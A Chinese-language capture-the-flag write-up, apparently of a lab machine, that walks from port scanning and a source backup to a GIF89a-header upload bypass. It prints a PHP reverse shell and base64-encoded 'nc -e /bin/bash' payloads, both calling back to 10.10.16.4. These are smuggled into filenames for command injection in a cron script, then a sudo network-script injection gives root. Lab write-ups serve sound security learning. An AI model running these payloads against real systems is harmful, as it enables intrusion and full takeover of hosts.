nmap扫描只有
22 80 443 端口
443端口访问不了
所以入手点只有80端口了
direarch 扫描网站
发现了几个有意思的路径
backup 路径下发现了一个压缩tar包
下载下来解压看看内容
发现是网站源码需要代码审计
我审计了半天也没发现什么问题
看看wp说是加个gif89a的文件头就可以上传文件
我尝试在upload.php上传了文件shell.php.jpg
webshell上传成功
但是我非常不理解的是为什么php.jpg 结尾的文件 会被解析成php文件 非常奇怪 这个点我没搞洞
既然能上传webshell我直接上传一个反弹shell的代码
反弹shell
<?php $sock = fsockopen('10.10.16.4', 80);$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock);$process = proc_open('/bin/bash', $descriptorspec, $pipes);proc_close($process);?>
反弹成功
flag应该在guly 的家目录里面
但是我们无权访问 需要提权到guly的身份才行
我们注意到在guly的家目录里面有个crontab文件 应该是个定时任务
每三分钟运行一次
读一下这个执行的脚本
脚本源码
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";$files = array();
$files = preg_grep('/^([^.])/', scandir($path));foreach ($files as $key => $value) {$msg='';if ($value == 'index.html') {continue;}#echo "-------------\n";#print "check: $value\n";list ($name,$ext) = getnameCheck($value);$check = check_ip($name,$value);if (!($check[0])) {echo "attack!\n";# todo: attach filefile_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);exec("rm -f $logpath");exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");echo "rm -f $path$value\n";mail($to, $msg, $msg, $headers, "-F$value");}
}?>
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
这个代码可以造成命令注入漏洞 ,因为$value 是文件名 这个文件名我们可以自己创造
首先
echo 'cp /bin/bash /tmp;chmod +s /tmp/bash' | base64
然后
touch -- ';echo Y3AgL2Jpbi9iYXNoIC90bXA7Y2htb2QgK3MgL3RtcC9iYXNoCg== | base64 -d | bash'
可以看到文件生成成功
但是不知道命令没有执行
我反复试了好多命令最后发现就只有反弹shell才能执行成功
echo 'nc -e /bin/bash 10.10.16.4 8080' | base64
touch '; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE2LjQgODA4MAo= | base64 -d | bash'
反弹成功
sudo -l
看看这个脚本
点击查看代码
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoFregexp="^[a-zA-Z0-9_\ /-]+$"for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; doecho "interface $var:"read xwhile [[ ! $x =~ $regexp ]]; doecho "wrong input, try again"echo "interface $var:"read xdoneecho $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done/sbin/ifup guly0
存在命令注入
提权成功